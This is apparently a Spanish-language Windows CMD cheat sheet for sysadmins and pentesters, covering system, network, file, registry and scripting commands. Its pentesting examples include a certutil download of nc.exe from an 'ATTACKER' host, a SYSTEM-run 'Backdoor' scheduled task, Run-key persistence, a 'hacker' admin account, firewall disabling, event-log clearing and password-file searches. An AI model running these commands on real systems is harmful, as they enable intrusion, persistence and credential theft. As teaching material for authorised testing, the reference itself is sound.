⬛ CMD Reference
Comandos esenciales de Windows CMD para SysAdmins y Pentesters · GhostAcademy
Windows Admin Pentesting Red & Conectividad WMI Registro Scripting Batch Post-Explotación Auditoría Living off the Land
74COMANDOS
11CATEGORÍAS
🖥️
Sistema & Información
Información del sistema, versión de OS, hardware y variables de entorno
8 cmds
systeminfo ⚡ Ambos
SINTAXIS
systeminfo [/S equipo] [/U usuario] [/P contraseña]
Muestra información completa del sistema: nombre del host, OS, versión, Build, arquitectura, RAM instalada, fecha de instalación, zona horaria y parches aplicados.
Ver ejemplo completo
EJEMPLO
systeminfo | findstr /C:"OS" /C:"RAM" /C:"System Boot"
ver ⚡ Ambos
SINTAXIS
ver
Muestra la versión exacta del sistema operativo Windows en uso. Rápido y sin necesidad de permisos adicionales.
Ver ejemplo completo
EJEMPLO
ver
hostname ⚡ Ambos
SINTAXIS
hostname
Muestra el nombre NetBIOS del equipo. Fundamental en pentesting para identificar el objetivo y en scripts de administración para saber en qué máquina se ejecuta.
Ver ejemplo completo
EJEMPLO
hostname
set ⚡ Ambos
SINTAXIS
set [variable=[valor]]
Lista todas las variables de entorno o define/modifica una. Útil para ver rutas, usuario actual, nombre del dominio, directorio TEMP y otras variables del sistema.
Ver ejemplo completo
EJEMPLO
set PATH
set COMPUTERNAME
set USERNAME
whoami ⚡ Ambos
SINTAXIS
whoami [/all] [/priv] [/groups] [/user]
Muestra el usuario actual, dominio, SID, grupos y privilegios habilitados. Con /all es fundamental en pentesting para conocer el contexto de ejecución.
Ver ejemplo completo
EJEMPLO
whoami /all
whoami /priv
date / time 🖥️ SysAdmin
SINTAXIS
date [/T] time [/T]
Muestra la fecha y hora del sistema. Con /T solo muestra sin pedir confirmación. Útil en scripts de logging para estampar timestamps.
Ver ejemplo completo
EJEMPLO
echo Inicio: %date% %time% >> log.txt
wmic os ⚡ Ambos
SINTAXIS
wmic os get [propiedad]
Consulta WMI para obtener información detallada del sistema operativo: versión, arquitectura, build, última vez encendido y más. WMIC es el acceso a WMI desde CMD.
Ver ejemplo completo
EJEMPLO
wmic os get Caption,Version,BuildNumber,OSArchitecture /format:list
wmic computersystem ⚡ Ambos
SINTAXIS
wmic computersystem get [propiedad]
Obtiene información del hardware: nombre del equipo, fabricante, modelo, RAM total, número de procesadores y tipo de dominio/grupo de trabajo.
Ver ejemplo completo
EJEMPLO
wmic computersystem get Name,Manufacturer,Model,TotalPhysicalMemory,Domain /format:list
🌐
Red & Conectividad
Diagnóstico, configuración de red, conexiones activas y escaneo básico
10 cmds
ipconfig ⚡ Ambos
SINTAXIS
ipconfig [/all] [/release] [/renew] [/flushdns]
Muestra la configuración de red de todas las interfaces. /all incluye MAC, servidor DHCP, DNS y gateway. /flushdns limpia la caché DNS. Esencial en diagnóstico y pentesting.
Ver ejemplo completo
EJEMPLO
ipconfig /all
ipconfig /flushdns
ipconfig /displaydns
ping ⚡ Ambos
SINTAXIS
ping [host] [-n count] [-t] [-l size] [-a]
Envía paquetes ICMP para comprobar conectividad. -t envía de forma continua, -n define el número de paquetes, -a resuelve la IP a nombre de host, -l define el tamaño del paquete.
Ver ejemplo completo
EJEMPLO
ping -n 4 8.8.8.8
ping -t 192.168.1.1
ping -a 10.0.0.5
tracert ⚡ Ambos
SINTAXIS
tracert [host] [-d] [-h max_saltos] [-w timeout]
Traza la ruta de paquetes hasta el destino mostrando cada salto (router) con su latencia. -d evita resolver nombres DNS (más rápido). Útil para diagnóstico de rutas.
Ver ejemplo completo
EJEMPLO
tracert -d 8.8.8.8
tracert google.com
netstat ⚡ Ambos
SINTAXIS
netstat [-a] [-n] [-o] [-b] [-e] [-s]
Muestra conexiones TCP/UDP activas, puertos en escucha y estadísticas de red. -a muestra todas, -n no resuelve DNS, -o incluye PID del proceso, -b muestra el ejecutable.
Ver ejemplo completo
EJEMPLO
netstat -ano
netstat -ano | findstr :80
netstat -ano | findstr ESTABLISHED
nslookup ⚡ Ambos
SINTAXIS
nslookup [host] [servidor_dns]
Consulta servidores DNS para resolver nombres a IP y viceversa. Sin argumentos abre modo interactivo. Permite especificar otro servidor DNS y consultar tipos de registro.
Ver ejemplo completo
EJEMPLO
nslookup google.com
nslookup google.com 8.8.8.8
nslookup -type=MX microsoft.com
net view ⚡ Ambos
SINTAXIS
net view [\\equipo] [/domain[:dominio]]
Enumera equipos y recursos compartidos de la red o de un equipo específico. Muy usado en pentesting para descubrir hosts y shares en la red local.
Ver ejemplo completo
EJEMPLO
net view
net view \\SERVER01
net view /domain:CORP
arp ⚡ Ambos
SINTAXIS
arp -a [ip] [-d] [-s ip mac]
Muestra y gestiona la tabla ARP (caché de resolución IP-MAC). -a muestra toda la tabla, -d elimina una entrada, -s añade una entrada estática. Usado en MITM y reconocimiento.
Ver ejemplo completo
EJEMPLO
arp -a
arp -a 192.168.1.1
arp -d 192.168.1.5
route ⚡ Ambos
SINTAXIS
route print [máscara] [/4] [/6]
Muestra la tabla de enrutamiento IP. PRINT lista las rutas activas, ADD añade una ruta, DELETE la elimina. Fundamental para entender el flujo de tráfico en la red.
Ver ejemplo completo
EJEMPLO
route print
route print 0.0.0.0
route add 10.0.0.0 mask 255.0.0.0 192.168.1.1
netsh ⚡ Ambos
SINTAXIS
netsh [contexto] [subcomando]
Herramienta de configuración de red completa: interfaces, firewall, WiFi, proxy, TCP/IP. También permite volcar y restaurar la configuración completa de red.
Ver ejemplo completo
EJEMPLO
netsh interface ip show config
netsh wlan show profiles
netsh wlan show profile name="WiFi" key=clear
netsh advfirewall show allprofiles
telnet / Test de puerto 🎯 Pentest
SINTAXIS
telnet [host] [puerto]
Prueba conectividad TCP a un puerto concreto. Si conecta, el puerto está abierto. Debe habilitarse desde Características de Windows. Alternativa sin instalar nada: usar PowerShell.
Ver ejemplo completo
EJEMPLO
telnet 192.168.1.1 80
telnet smtp.gmail.com 587
📁
Sistema de Archivos
Navegación, búsqueda, copia, comparación y gestión de archivos y directorios
10 cmds
dir ⚡ Ambos
SINTAXIS
dir [ruta] [/a] [/s] [/b] [/o] [/q] [/ah]
Lista el contenido de un directorio. /a muestra archivos ocultos y del sistema, /s busca en subdirectorios, /b formato simple (solo nombres), /ah solo ocultos, /q muestra propietario.
Ver ejemplo completo
EJEMPLO
dir /a /s C:\*.ps1
dir /ah C:\
dir /b /s C:\Users | findstr .config
cd / chdir ⚡ Ambos
SINTAXIS
cd [ruta] cd .. cd /d D:\
Cambia el directorio actual. cd .. sube un nivel, cd \ va a la raíz. /d cambia también la unidad. Soporta rutas relativas y absolutas.
Ver ejemplo completo
EJEMPLO
cd %USERPROFILE%
cd /d C:\Windows\System32
cd ..\..
copy / xcopy / robocopy 🖥️ SysAdmin
SINTAXIS
copy [src] [dst] robocopy [src] [dst] [/E] [/MIR] [/LOG]
Copia archivos. COPY es básico, XCOPY copia árbol de directorios, ROBOCOPY es la herramienta avanzada: soporta reintentos, logging, exclusiones, modo espejo y copia en red.
Ver ejemplo completo
EJEMPLO
copy C:\file.txt D:\backup\
robocopy C:\Source D:\Dest /E /MIR /LOG:C:\backup.log
xcopy C:\Config D:\Config /E /H /Y
move 🖥️ SysAdmin
SINTAXIS
move [src] [dst]
Mueve archivos o renombra directorios. Si origen y destino están en la misma unidad es instantáneo. Soporta wildcards para mover múltiples archivos.
Ver ejemplo completo
EJEMPLO
move C:\temp\*.log D:\logs\
move C:\OldName D:\NewName
del / erase ⚡ Ambos
SINTAXIS
del [archivo] [/f] [/s] [/q] [/a]
Elimina archivos. /f fuerza borrado de archivos de solo lectura, /s elimina en subdirectorios, /q no pide confirmación, /a:h elimina solo archivos ocultos. Sin papelera.
Ver ejemplo completo
EJEMPLO
del /f /s /q C:\Temp\*.*
del /f /a:h C:\secret.txt
find / findstr ⚡ Ambos
SINTAXIS
findstr [/i] [/r] [/s] [/n] "patrón" [archivo]
Busca texto en archivos. FINDSTR soporta expresiones regulares básicas (/r), búsqueda recursiva (/s), sin distinción de mayúsculas (/i) y muestra número de línea (/n). Es el grep de CMD.
Ver ejemplo completo
EJEMPLO
findstr /s /i "password" C:\inetpub\*.config
findstr /i /r "\bpassw" *.txt
findstr /n "error" C:\logs\app.log
attrib ⚡ Ambos
SINTAXIS
attrib [+r|-r] [+h|-h] [+s|-s] [+a|-a] [archivo] [/s] [/d]
Muestra y modifica atributos de archivos: solo lectura (r), oculto (h), sistema (s), archivo (a). Usado para ocultar archivos maliciosos o revelar archivos del sistema.
Ver ejemplo completo
EJEMPLO
attrib C:\*.*  /s /d
attrib +h +s C:\backdoor.bat
attrib -r -h C:\Windows\file.sys
tree ⚡ Ambos
SINTAXIS
tree [ruta] [/f] [/a]
Muestra la estructura de directorios en forma de árbol visual. /f incluye los archivos, /a usa caracteres ASCII en lugar de gráficos. Útil para documentar y explorar estructuras.
Ver ejemplo completo
EJEMPLO
tree C:\inetpub /f
tree C:\ProgramData /f /a > estructura.txt
type / more ⚡ Ambos
SINTAXIS
type [archivo] more [archivo]
Muestra el contenido de archivos de texto. TYPE vuelca todo de golpe, MORE pagina el contenido (espacio para avanzar, q para salir). Equivalentes básicos de cat.
Ver ejemplo completo
EJEMPLO
type C:\Windows\System32\drivers\etc\hosts
more C:\Windows\win.ini
type credentials.txt | findstr /i pass
fc / comp 🖥️ SysAdmin
SINTAXIS
fc [/l] [/b] [/c] archivo1 archivo2
Compara el contenido de dos archivos. FC compara texto o binario (/b), COMP compara byte a byte. Útil para verificar integridad de configuraciones o detectar cambios.
Ver ejemplo completo
EJEMPLO
fc /l C:\config_orig.ini C:\config_current.ini
fc /b C:\original.exe C:\modified.exe
⚙️
Procesos & Servicios
Gestión de procesos en ejecución, servicios del sistema y tareas programadas
6 cmds
tasklist ⚡ Ambos
SINTAXIS
tasklist [/svc] [/v] [/fi "condición"] [/fo csv]
Lista todos los procesos activos con PID, nombre, uso de memoria y sesión. /svc muestra servicios asociados, /fi permite filtrar, /fo csv exporta en CSV. Equivale al Task Manager.
Ver ejemplo completo
EJEMPLO
tasklist /v
tasklist /svc
tasklist /fi "STATUS eq running" /fo csv
tasklist /fi "IMAGENAME eq notepad.exe"
taskkill ⚡ Ambos
SINTAXIS
taskkill /PID [pid] [/F] [/T] taskkill /IM [nombre.exe] [/F]
Termina procesos por PID o nombre. /F fuerza la terminación, /T mata el proceso y todos sus hijos. Equivale a kill en Linux. Requiere privilegios para procesos de otros usuarios.
Ver ejemplo completo
EJEMPLO
taskkill /IM notepad.exe /F
taskkill /PID 4321 /F /T
taskkill /F /IM chrome.exe
sc ⚡ Ambos
SINTAXIS
sc [query|start|stop|config|delete] [servicio]
Controla el Service Control Manager. Permite listar, iniciar, detener, configurar y eliminar servicios del sistema. Muestra estado detallado con sc query type= all.
Ver ejemplo completo
EJEMPLO
sc query type= all state= all
sc stop Spooler
sc start Spooler
sc config MyService start= auto
sc query Spooler
net start / stop 🖥️ SysAdmin
SINTAXIS
net start [servicio] net stop [servicio]
Inicia o detiene servicios de Windows. Sin argumentos, net start lista los servicios actualmente en ejecución. Más sencillo que sc pero con menos control.
Ver ejemplo completo
EJEMPLO
net start
net start Spooler
net stop "Print Spooler"
schtasks ⚡ Ambos
SINTAXIS
schtasks /query [/fo LIST] [/v] schtasks /create /tn [nombre] /tr [cmd] /sc [frecuencia]
Gestiona tareas programadas: listar, crear, eliminar, ejecutar. Muy usado en pentesting para establecer persistencia. /query /fo LIST /v muestra información completa.
Ver ejemplo completo
EJEMPLO
schtasks /query /fo LIST /v
schtasks /create /tn "Backdoor" /tr C:\shell.exe /sc onlogon /ru SYSTEM
schtasks /delete /tn "Backdoor" /F
wmic process ⚡ Ambos
SINTAXIS
wmic process [get|list|call]
Gestiona procesos mediante WMI. Permite listar con más detalle que tasklist, obtener ruta del ejecutable, línea de comandos con la que fue lanzado y crear procesos remotamente.
Ver ejemplo completo
EJEMPLO
wmic process get Name,ProcessId,CommandLine,ExecutablePath
wmic process where Name='notepad.exe' call terminate
wmic process where ProcessId=1234 get CommandLine
👤
Usuarios & Grupos
Gestión de usuarios locales, grupos, contraseñas y permisos
5 cmds
net user ⚡ Ambos
SINTAXIS
net user [usuario] [contraseña] [/add] [/delete] [/active]
Gestiona cuentas de usuario locales: listar, crear, modificar, eliminar. Sin argumentos lista todos los usuarios. Requiere privilegios de administrador para crear/modificar.
Ver ejemplo completo
EJEMPLO
net user
net user administrador
net user hacker P@ssw0rd! /add
net user hacker /active:yes
net user hacker /delete
net localgroup ⚡ Ambos
SINTAXIS
net localgroup [grupo] [usuario] [/add] [/delete]
Gestiona grupos locales y sus miembros. Permite crear grupos, añadir/quitar usuarios y listar membresías. Muy usado para elevar privilegios añadiendo usuarios a Administrators.
Ver ejemplo completo
EJEMPLO
net localgroup
net localgroup Administrators
net localgroup Administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add
net accounts ⚡ Ambos
SINTAXIS
net accounts [/maxpwage:days] [/minpwlen:length]
Muestra y modifica la política de contraseñas local: duración máxima, longitud mínima, historial, bloqueo de cuenta. Fundamental en auditorías de seguridad.
Ver ejemplo completo
EJEMPLO
net accounts
net accounts /maxpwage:unlimited
net accounts /minpwlen:0
runas ⚡ Ambos
SINTAXIS
runas /user:[dominio\usuario] [programa] runas /savecred /user:[usuario] [programa]
Ejecuta un programa con credenciales de otro usuario. /savecred guarda las credenciales para usos futuros (sin volver a pedirlas). Equivalente básico de sudo en Windows.
Ver ejemplo completo
EJEMPLO
runas /user:CORP\Administrator cmd.exe
runas /savecred /user:Administrator "cmd /c whoami > C:\out.txt"
icacls ⚡ Ambos
SINTAXIS
icacls [ruta] [/grant usuario:(permisos)] [/deny] [/reset]
Muestra y modifica las ACL (listas de control de acceso) de archivos y directorios. Reemplaza a cacls. Imprescindible para auditar y configurar permisos de forma detallada.
Ver ejemplo completo
EJEMPLO
icacls C:\SecretFolder
icacls C:\file.txt /grant Everyone:(F)
icacls C:\Windows\Temp /grant "Everyone:(OI)(CI)F"
🗝️
Registro de Windows
Consulta, modificación y exportación del registro de Windows desde CMD
4 cmds
reg query ⚡ Ambos
SINTAXIS
reg query [clave] [/v nombre] [/s] [/f patrón]
Consulta claves y valores del registro. /v especifica un valor concreto, /s busca recursivamente, /f busca por patrón en nombres de claves o valores. Muy usado en reconocimiento.
Ver ejemplo completo
EJEMPLO
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM /f "password" /t REG_SZ /s
reg add ⚡ Ambos
SINTAXIS
reg add [clave] /v [nombre] /t [tipo] /d [dato] [/f]
Añade o modifica claves y valores en el registro. /f fuerza sin pedir confirmación. Tipos: REG_SZ, REG_DWORD, REG_BINARY, REG_EXPAND_SZ. Muy usado para persistencia.
Ver ejemplo completo
EJEMPLO
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d C:\shell.exe /f
reg delete ⚡ Ambos
SINTAXIS
reg delete [clave] [/v nombre] [/f]
Elimina claves o valores del registro. Sin /v elimina toda la clave con sus subclaves. /f evita la confirmación. Usado para limpieza de persistencia o auditoría.
Ver ejemplo completo
EJEMPLO
reg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Updater /f
reg delete HKLM\SOFTWARE\BadApp /f
reg export / import 🖥️ SysAdmin
SINTAXIS
reg export [clave] [archivo.reg] reg import [archivo.reg]
Exporta una rama del registro a un archivo .reg (texto editable) o importa desde él. Ideal para backups, distribución de configuraciones y restauración.
Ver ejemplo completo
EJEMPLO
reg export HKLM\SOFTWARE\MyApp C:\backup_myapp.reg
reg import C:\backup_myapp.reg
🔒
Seguridad & Auditoría
Eventos de seguridad, firewall, políticas y herramientas de auditoría
5 cmds
wevtutil ⚡ Ambos
SINTAXIS
wevtutil qe [log] /c:[n] /f:text [/q:"XPath"]
Consulta y gestiona los registros de eventos de Windows. Permite leer, filtrar, exportar y limpiar logs de Security, System, Application. Alternativa a Event Viewer en CLI.
Ver ejemplo completo
EJEMPLO
wevtutil qe Security /c:20 /f:text
wevtutil qe Security /q:"*[System[(EventID=4625)]]" /c:10 /f:text
wevtutil cl System
netsh firewall / advfirewall ⚡ Ambos
SINTAXIS
netsh advfirewall firewall [show|add|delete] rule
Gestiona el firewall de Windows: ver reglas, añadir, eliminar, habilitar/deshabilitar. advfirewall es la versión moderna. Muy usado para abrir puertos o deshabilitar el firewall.
Ver ejemplo completo
EJEMPLO
netsh advfirewall show allprofiles
netsh advfirewall firewall add rule name="Allow 4444" protocol=TCP dir=in localport=4444 action=allow
netsh advfirewall set allprofiles state off
gpresult ⚡ Ambos
SINTAXIS
gpresult /r [/scope computer|user] [/h informe.html]
Muestra las políticas de grupo (GPO) aplicadas al equipo y al usuario actual. /r es el resumen rápido, /h genera informe HTML completo. Clave en auditorías de AD.
Ver ejemplo completo
EJEMPLO
gpresult /r
gpresult /h C:\gpo_report.html
gpresult /scope user /r
secedit 🖥️ SysAdmin
SINTAXIS
secedit /analyze /db [db] /cfg [plantilla]
Analiza y configura la seguridad del sistema comparando contra plantillas de seguridad. Permite exportar la configuración actual, analizar y aplicar políticas de seguridad.
Ver ejemplo completo
EJEMPLO
secedit /export /cfg C:\current_security.inf
secedit /analyze /db C:\analysis.sdb /cfg C:\baseline.inf /log C:\analysis.log
cipher ⚡ Ambos
SINTAXIS
cipher [/e] [/d] [/w:ruta] [ruta]
Gestiona el cifrado EFS de archivos y carpetas. /e cifra, /d descifra, /w:ruta sobreescribe el espacio libre del disco para borrado seguro (wipe). Muestra estado de cifrado.
Ver ejemplo completo
EJEMPLO
cipher /status C:\SecretFolder
cipher /e C:\SecretFolder\*.docx
cipher /w:C:\
🎯
Pentesting & Reconocimiento
Enumeración, reconocimiento y técnicas de post-explotación en entornos autorizados
8 cmds
net share 🎯 Pentest
SINTAXIS
net share [nombre=ruta] [/delete]
Lista o gestiona los recursos compartidos del equipo local. Sin argumentos muestra todos los shares activos incluyendo los administrativos (C$, IPC$, ADMIN$). Clave en reconocimiento SMB.
Ver ejemplo completo
EJEMPLO
net share
net share C$ 
net use \\TARGET\C$ /user:admin P@ssw0rd
net use 🎯 Pentest
SINTAXIS
net use [letra:] [\\equipo\recurso] [contraseña] [/user]
Conecta o desconecta unidades de red. Permite montar shares remotos con credenciales alternativas. Muy usado en post-explotación para acceder a archivos de otros sistemas.
Ver ejemplo completo
EJEMPLO
net use Z: \\192.168.1.5\C$ P@ssword /user:CORP\admin
net use \\TARGET\IPC$ "" /user:""
net use * /delete
Enumeración rápida de red 🎯 Pentest
SINTAXIS
for /L %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i
Escaneo de hosts activos en la red local mediante bucle de pings. Sin herramientas externas. Lento pero funciona en cualquier CMD. Redirigir salida a un archivo para procesar.
Ver ejemplo completo
EJEMPLO
for /L %i in (1,1,254) do @ping -n 1 -w 50 192.168.1.%i | findstr "TTL" && echo 192.168.1.%i >> hosts_activos.txt
Autorun / Persistencia (ver) 🎯 Pentest
SINTAXIS
reg query HKCU\...\Run reg query HKLM\...\Run
Enumera los programas configurados para ejecutarse al inicio desde el registro. Técnica estándar para detectar malware y persistencia o para establecerla en pentesting autorizado.
Ver ejemplo completo
EJEMPLO
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
cmdkey 🎯 Pentest
SINTAXIS
cmdkey /list cmdkey /add:[host] /user:[usuario] /pass:[clave]
Gestiona las credenciales almacenadas en Windows Credential Manager. /list enumera todas las credenciales guardadas en el equipo. Fuente valiosa en post-explotación.
Ver ejemplo completo
EJEMPLO
cmdkey /list
cmdkey /add:FILESERVER01 /user:CORP\admin /pass:P@ssword
cmdkey /delete:FILESERVER01
dir /s /b (buscar archivos sensibles) 🎯 Pentest
SINTAXIS
dir /s /b [ruta] [*.ext]
Búsqueda recursiva de archivos por extensión o nombre. Técnica clave para encontrar archivos de configuración, credenciales, scripts y backups en sistemas comprometidos.
Ver ejemplo completo
EJEMPLO
dir /s /b C:\*.config 2>nul
dir /s /b C:\*.xml | findstr /i pass 2>nul
dir /s /b C:\Users\*.kdbx 2>nul
dir /s /b \\.\C$ | findstr /i "password credential secret"
wmic qfe (parches instalados) 🎯 Pentest
SINTAXIS
wmic qfe list [brief|full]
Lista los parches de seguridad instalados (QFE = Quick Fix Engineering). Muestra KB instalados y fechas. En pentesting se usa para identificar vulnerabilidades no parcheadas.
Ver ejemplo completo
EJEMPLO
wmic qfe list brief /format:table
wmic qfe get HotFixID,InstalledOn | sort /r
Transferencia de archivos (certutil) 🎯 Pentest
SINTAXIS
certutil -urlcache -split -f [URL] [archivo]
Descarga archivos desde URLs usando certutil, herramienta nativa de Windows. Técnica Living-off-the-Land (LotL) muy usada para descargar herramientas sin PowerShell ni wget.
Ver ejemplo completo
EJEMPLO
certutil -urlcache -split -f http://ATTACKER/nc.exe C:\Windows\Temp\nc.exe
certutil -encode input.exe output.b64
certutil -decode output.b64 decoded.exe
📝
Scripting & Automatización
Batch scripting, variables, bucles, condicionales y redirección de salida
6 cmds
Variables y echo 🖥️ SysAdmin
SINTAXIS
set VAR=valor echo %VAR%
Define variables de entorno locales al script o sesión. ECHO muestra texto o el valor de variables. ECHO. imprime una línea en blanco. @ECHO OFF desactiva el eco de comandos.
Ver ejemplo completo
EJEMPLO
@echo off
set SERVER=192.168.1.1
set LOG=C:\logs\script.log
echo Conectando a %SERVER% >> %LOG%
echo Fecha: %date% %time% >> %LOG%
if / else 🖥️ SysAdmin
SINTAXIS
if [not] [condición] (comando) [else (comando)]
Condicional en batch. Compara strings, números (EQU, NEQ, LSS, GTR), verifica existencia de archivos (exist) y compara errorlevel. ELSE debe estar en la misma línea.
Ver ejemplo completo
EJEMPLO
if exist C:\file.txt (echo Existe) else (echo No existe)
if %ERRORLEVEL% NEQ 0 (echo Error en el paso anterior)
if "%USERNAME%"=="admin" (echo Es admin)
for loops 🖥️ SysAdmin
SINTAXIS
for %v in (lista) do comando for /L %i in (inicio,paso,fin) do ... for /F "tokens" %v in (archivo) do ...
Bucle en CMD. /L itera números, /F parsea archivos o comandos (muy potente), /R recorre directorios. En scripts .bat usar %%v en lugar de %v.
Ver ejemplo completo
EJEMPLO
for /L %i in (1,1,10) do echo Línea %i
for /F "tokens=1,2" %a in (users.txt) do net user %a %b
for %f in (*.log) do findstr /i error %f
Redirección y pipes ⚡ Ambos
SINTAXIS
comando > archivo comando >> archivo comando1 | comando2 comando 2>nul
> redirige la salida sobreescribiendo, >> añade al final, | pasa la salida como entrada al siguiente comando, 2>nul suprime errores, 2>&1 combina stderr con stdout.
Ver ejemplo completo
EJEMPLO
dir > listado.txt
ipconfig >> C:\logs\network.log
tasklist | findstr chrome
dir /s *.exe 2>nul | findstr /i malware
goto / call / exit 🖥️ SysAdmin
SINTAXIS
:etiqueta goto :etiqueta call :subfuncion exit /b [código]
Control de flujo en scripts batch. GOTO salta a una etiqueta, CALL invoca otro script o subfunción del mismo script y retorna, EXIT /B sale del script con un código de retorno.
Ver ejemplo completo
EJEMPLO
@echo off
call :check_admin
goto :main
:check_admin
net session >nul 2>&1 || (echo Necesitas admin & exit /b 1)
:main
echo Ejecutando como admin
timeout / ping (pausa) 🖥️ SysAdmin
SINTAXIS
timeout /t [segundos] [/nobreak] ping -n [n+1] 127.0.0.1 > nul
TIMEOUT pausa el script el número de segundos indicado (con interrupción por tecla). El truco del ping a localhost es el equivalente clásico a sleep en bash para versiones antiguas.
Ver ejemplo completo
EJEMPLO
timeout /t 30 /nobreak
timeout /t 5
ping -n 11 127.0.0.1 > nul  &REM pausa de ~10 segundos
💾
Disco & Almacenamiento
Información de discos, particiones, sistema de archivos y utilidades de almacenamiento
4 cmds
diskpart 🖥️ SysAdmin
SINTAXIS
diskpart list disk select disk N list partition
Herramienta interactiva de gestión de discos y particiones. Permite crear, eliminar, formatear y redimensionar particiones. Se lanza solo y luego acepta subcomandos.
Ver ejemplo completo
EJEMPLO
diskpart
list disk
select disk 1
list partition
create partition primary size=10240
wmic logicaldisk 🖥️ SysAdmin
SINTAXIS
wmic logicaldisk get [propiedades]
Muestra información de las unidades lógicas: tamaño total, espacio libre, sistema de archivos y tipo de unidad. Muy útil en scripts para comprobar espacio disponible.
Ver ejemplo completo
EJEMPLO
wmic logicaldisk get Caption,Size,FreeSpace,FileSystem,DriveType /format:table
chkdsk 🖥️ SysAdmin
SINTAXIS
chkdsk [unidad:] [/f] [/r] [/x]
Verifica la integridad del sistema de archivos y repara errores. /f corrige errores, /r localiza sectores defectuosos, /x desmonta la unidad antes de analizar. Puede requerir reinicio.
Ver ejemplo completo
EJEMPLO
chkdsk C: /f /r
chkdsk D: /scan
fsutil 🖥️ SysAdmin
SINTAXIS
fsutil [subcomando] [opciones]
Utilidad avanzada del sistema de archivos: ver estado de volúmenes, crear archivos de tamaño fijo (útil para pruebas), listar drives, verificar tipo de FS y gestionar quotas.
Ver ejemplo completo
EJEMPLO
fsutil volume diskfree C:
fsutil file createnew C:\testfile.bin 1073741824  &REM crea fichero de 1GB
fsutil fsinfo drives
🛠️
Utilidades Esenciales
Herramientas del sistema de uso frecuente en administración y pentesting
8 cmds
cls / title / color 🖥️ SysAdmin
SINTAXIS
cls title [texto] color [attr]
CLS limpia la pantalla de CMD. TITLE cambia el título de la ventana (útil en scripts para indicar estado). COLOR cambia los colores del terminal (fondo+texto en hexadecimal).
Ver ejemplo completo
EJEMPLO
cls
title [*] Script de Backup - Ejecutando...
color 0A  &REM fondo negro, texto verde
start ⚡ Ambos
SINTAXIS
start ["título"] [/b] [/wait] [/min] programa
Lanza un programa o comando en una nueva ventana o proceso. /b lanza sin ventana nueva, /wait espera a que termine, /min minimizado, /max maximizado. Permite lanzar URLs.
Ver ejemplo completo
EJEMPLO
start /b calc.exe
start /wait msiexec /i app.msi /quiet
start https://www.unfantasmaenelsistema.com
start cmd /k "echo hola & pause"
shutdown 🖥️ SysAdmin
SINTAXIS
shutdown [/s] [/r] [/h] [/t seg] [/m \\equipo]
Apaga, reinicia o hiberna el sistema local o remoto. /s apaga, /r reinicia, /h hiberna, /t define el tiempo de espera, /a aborta un shutdown pendiente, /m especifica equipo remoto.
Ver ejemplo completo
EJEMPLO
shutdown /r /t 60 /c "Reinicio programado"
shutdown /s /m \\SERVER01 /t 0
shutdown /a
clip 🖥️ SysAdmin
SINTAXIS
comando | clip
Redirige la salida de cualquier comando al portapapeles de Windows. Extremadamente útil para copiar IPs, rutas, listas de usuarios o cualquier output sin tener que seleccionarlo.
Ver ejemplo completo
EJEMPLO
ipconfig | clip
whoami | clip
dir /b C:\Users | clip
mstsc 🖥️ SysAdmin
SINTAXIS
mstsc [/v:host[:puerto]] [/admin] [/f] [/w:ancho /h:alto]
Abre el cliente de Escritorio Remoto (RDP). /v especifica el host y puerto, /admin conecta en modo administrador (sesión 0), /f pantalla completa.
Ver ejemplo completo
EJEMPLO
mstsc /v:192.168.1.5
mstsc /v:SERVER01:3390 /admin /f
subst 🖥️ SysAdmin
SINTAXIS
subst [letra:] [ruta] subst letra: /d
Asocia una ruta de directorio a una letra de unidad virtual. Muy útil para acceder rápidamente a rutas largas o para scripts que esperan una unidad específica.
Ver ejemplo completo
EJEMPLO
subst X: C:\Users\admin\Projects\ClienteImportante
subst
subst X: /d
wmic startup ⚡ Ambos
SINTAXIS
wmic startup list full
Lista todos los programas configurados para iniciarse automáticamente con el sistema, incluyendo la ubicación del registro o carpeta de inicio donde están registrados.
Ver ejemplo completo
EJEMPLO
wmic startup list full
wmic startup get Caption,Command,Location,User /format:table
assoc / ftype ⚡ Ambos
SINTAXIS
assoc [.ext[=[tipo]]] ftype [tipo[=[cmd]]]]
ASSOC muestra o cambia la asociación de extensiones de archivo con tipos de archivo. FTYPE muestra el comando que se ejecuta para abrir un tipo de archivo. Útil para hijacking en pentest.
Ver ejemplo completo
EJEMPLO
assoc .txt
assoc .js
ftype txtfile
assoc .badext=exefile  &REM asociar extensión a ejecutable